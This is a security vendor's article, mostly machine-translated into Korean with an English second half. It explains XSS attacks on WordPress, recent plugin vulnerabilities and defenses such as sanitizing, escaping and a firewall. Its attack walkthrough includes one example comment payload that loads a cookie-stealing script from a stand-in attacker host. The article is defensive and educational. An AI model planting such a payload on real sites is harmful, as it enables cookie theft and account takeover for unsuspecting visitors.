Computer >> 컴퓨터 >  >> 네트워킹 >> 네트워크 보안

WordPress에서 XSS 공격이란 무엇입니까? 이를 방지하는 방법은 무엇입니까?

줄여서 XSS라고도 하는 교차 사이트 스크립팅은 웹 애플리케이션에서 발견되는 보안 취약점입니다. WordPress XSS 익스플로잇을 통해 공격자는 신뢰할 수 있는 엔터티로 가장하여 악성 콘텐츠를 삽입할 수 있습니다. 또한 XSS 취약점은 사용자-웹 사이트 상호 작용도 손상시킵니다. 공격자가 합법적인 사용자로 가장하고 악성 콘텐츠를 업로드하고 사용자 자격 증명과 정보를 훔치고 웹사이트를 훼손하고 브랜드를 손상시킬 수 있습니다.WordPress XSS 익스플로잇은 최근 소프트웨어 분석 전문 회사가 발견된 교차 사이트 스크립팅 취약점에 대한 세부 정보를 발표했을 때 뉴스였습니다. WordPress v5.11 이하.

WordPress XSS 공격의 증상

XSS 취약점은 가장 일반적으로 관찰되는 취약점 중 하나이지만 가장 간과되고 있는 취약점입니다. XSS는 사용자(또는 사용자로 가장한 해커)가 임의의 입력을 허용하는 페이지에 악성 코드를 삽입할 수 있는 사이버 결함입니다. XSS 익스플로잇은 저장과 반영으로 분류됩니다.
  1. 저장된 교차 사이트 스크립팅 해커가 취약한 페이지에 악성 스크립트를 삽입했음을 의미합니다. 이 스크립트는 순진한 피해자가 감염된 페이지를 방문할 때마다 실행됩니다.
  2. 반영된 교차 사이트 스크립팅 공격자가 단일 HTTP 요청에 악성 코드를 삽입하고 삽입된 페이로드가 실행을 방지하기 위한 보안 조치 없이 응답에 포함되는 경우입니다. Reflected XSS가 다른 점은 주입된 페이로드가 웹 애플리케이션의 어디에도 저장되지 않는다는 것입니다.
XSS 공격이 수행되는 방법은 다음과 같습니다.
  1. 해커(H)가 귀하의 웹사이트에 계정을 만듭니다.
  2. H는 귀하의 웹사이트에 저장된 XSS 취약점이 포함되어 있음을 관찰했습니다. 누군가 HTML 태그가 포함된 댓글을 게시하면 태그가 있는 그대로 표시되고 모든 스크립트 태그가 실행됩니다.
  3. 기사의 주석 섹션에서 H는 I am in love with your website <script src="https://mallorysevilsite.com/authstealer.js">과 같은 스크립트 태그가 있는 텍스트를 삽입합니다.
  4. 사용자(U)가 댓글이 있는 페이지를 로드하면 스크립트 태그가 실행되어 U의 인증 쿠키를 훔칩니다.
  5. 도난당한 쿠키는 H의 비밀 서버로 전송되어 의심하지 않는 사용자 U를 가장할 수 있습니다.
WordPress에서 XSS 공격이란 무엇입니까? 이를 방지하는 방법은 무엇입니까?

워드프레스 XSS 공격의 결과

XSS 익스플로잇은 웹사이트를 잠글 수 있습니다. 또한 귀하를 사칭하고 브랜드 이미지를 손상시키는 데 사용될 수 있습니다. XSS 취약점을 악용하여 해커가 할 수 있는 일의 목록은 끝이 없습니다. 다음은 그 중 몇 가지입니다.

도난 쿠키

쿠키 절도는 XSS 취약점의 일반적인 악용입니다. 쿠키는 사용자 및 웹사이트에 특정한 데이터를 보관하는 작은 파일입니다. 해커는 훔친 쿠키를 사용하여 합법적인 사용자로 가장하고 악의적인 의도를 위해 액세스를 사용할 수 있습니다.

손상된 비밀번호

암호 관리자를 사용하면 사용자가 다른 웹사이트의 계정을 편리하게 관리할 수 있습니다. 암호 관리자는 사용자의 암호를 자동으로 채웁니다. 해커는 이 취약점을 이용하여 암호 입력을 생성할 수 있습니다. 암호 관리자가 암호를 자동으로 채우면 해커가 암호를 읽고 자신의 도메인으로 보냅니다. 이제 해커는 합법적인 사용자로 가장하여 웹사이트의 정보에 액세스할 수 있습니다.

포트 스캔

XSS는 취약한 웹사이트를 방문하는 모든 사람의 로컬 네트워크에 대한 포트 스캔을 실행하는 데에도 악용될 수 있습니다. 네트워크에 액세스할 수 있는 경우 공격자는 네트워크의 다른 장치를 해킹할 수 있습니다. 이러한 공격을 실행하기 위해 공격자는 내부 네트워크를 스캔하고 공격자에게 보고하는 코드를 삽입합니다.

교차 사이트 요청 위조

CSRF(교차 사이트 요청 위조)는 공격자가 최종 사용자가 원치 않는 작업을 실행하도록 하는 기능을 제공합니다. 웹사이트 유형에 따라 공격자는 연결을 요청하거나, 메시지를 보내거나, 로그인 자격 증명을 변경하거나, 암호화폐를 전송하거나, 소스 코드 저장소에 백도어를 커밋할 수 있습니다.

키로거

JavaScript를 사용하여 키보드 캡처를 수행할 수 있습니다. JavaScript는 취약한 페이지에서 사용자가 수행한 키 입력을 기록하는 기능을 코더에게 제공합니다. 일부 상업용 웹 사이트에서는 클릭, 모바일 제스처 또는 입력의 형태로 방문자의 움직임을 기록하는 데 사용할 수 있는 일부 코드를 제공했습니다. 이것은 악의적인 존재의 손에 재앙이 될 수 있습니다.

WordPress XSS 공격의 예

XSS는 악의적인 행위자가 매년 수천 개의 웹사이트에 백도어 진입을 제공하는 가장 일반적인 취약점입니다. 다음은 WordPress XSS 익스플로잇의 최근 몇 가지 예입니다.

Slimstat 플러그인 익스플로잇(2019년 5월)

Slimstat는 최근에 저장된 XSS 취약점에 취약한 것으로 밝혀진 인기 있는 웹 분석 플러그인입니다. Slimstat은 웹사이트 분석을 실시간으로 추적하는 데 사용되며 액세스 로그, 재방문 고객 및 등록 사용자, JavaScript 이벤트 등의 통계를 모니터링 및 보고합니다. 해커가 취약점을 악용하여 액세스할 수 있는 웹사이트 데이터의 양을 상상해 보십시오. 취약점은 버전 4.8 이하에 존재했습니다. It allowed any unauthenticated visitor to inject arbitrary JavaScript code on the plugin access log functionality. Websites that were using the latest version of WordPress and were under the protection of Astra WAF were safe from the attackers.Read more here:Popular plug-in Slimstat, vulnerable to XSS

Facebook Messenger Live Chat

A persistent XSS vulnerability in FB messenger live chat by Zotabox was uncovered. Through WordPress, AJAX functionality makes it simple to send and receive data to and from the script without needing to reload the page. The function update_zb_fbc_code is accessible to anyone.The function wp_ajax_update_zb_fbc_code is prescribed for authorized users only &wp_ajax_nopriv_update_zb_fbc_code is for non-privileged users. Both use the same function “update_zb_fbc_code ". This allows any user (logged in or not) to modify the plugin settings. Malicious actors could use this vulnerability to gain higher priority access to confidential information. Read more here:Critical XSS vulnerability in Facebook Messenger Live Chat

Prevention of XSS Attack in WordPress

Taking security for granted will cost you very dearly in today’s cyber-lithic age. A strong sanitizing and validating system can protect your website from the exploit of the kinds of XSS and CSRF etc. Read on to find more about it.

Update WordPress files

The fastest and easiest way to solve the vulnerability issues related to WP v5.11 and below is to update WordPress to the latest version.

Validate input

Examine and validate all input data before sending it to the server. Accept input only from validated, trusted users. For example:Follow the following function to validate email-id inputted by the user.
  1. Filter_var PHP Function
  2. Filter_var($_GET[‘email’], FILTER_VALIDATE_EMAIL)
  3. is_email

Sanitize Data

Sanitizing data input by the user is highly recommended on sites that allow HTML markup. You can make sure that the data does no harm to either your users or your database by cleaning the data of potentially harmful markup. WordPress has great features to filter out unreliable data entries. Here is a list of WP commands you can use to sanitize your data.
  • sanitize_email
  • sanitize_file_name
  • sanitize_text_field
  • esc_url_raw
  • sanitize_option
  • sanitize_key
  • sanitize_mime_type
  • wp_kses
  • Sanitize_meta

Escape data

Escaping data means ensuring data security by censoring the data entered. It ensures that the key characters in the data are not misinterpreted in a malicious manner. The five basic escaping functions that WordPress provides are:
  • esc_html
  • esc_url
  • esc_js
  • esc_attr
  • esc_textarea

Encode data on output

Encode all HTTP response that outputs the data entered by the user. This would prevent it from being interpreted as active content. Encoding is merely converting every character to its HTML entity name. You can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in an intended manner.

Use a web application firewall

Having a security guard on your website always helps. WAF or Web Application Firewalls provide security against potential vulnerabilities. Astra WAF filters malicious traffic and provides intelligent protection to your website. It blocks XSS, SQLi, CSRF, bad bots, OWASP top 10 &100+ other cyber attacks. Our intelligent firewall detects visitor patterns on your website &automatically blocks hackers with malicious intent.

WordPress에서 XSS 공격이란 무엇입니까? 이를 방지하는 방법은 무엇입니까?

Regular malware scanning

Regular malware scanning lets you warned well in before. Astra WordPress Security Suite offers complete protection with its on-demand Malware Scanner which flags malicious files on just a click. Plus our intelligent malware scanner keeps on evolving with each scan. Click here to get an Astra demo now.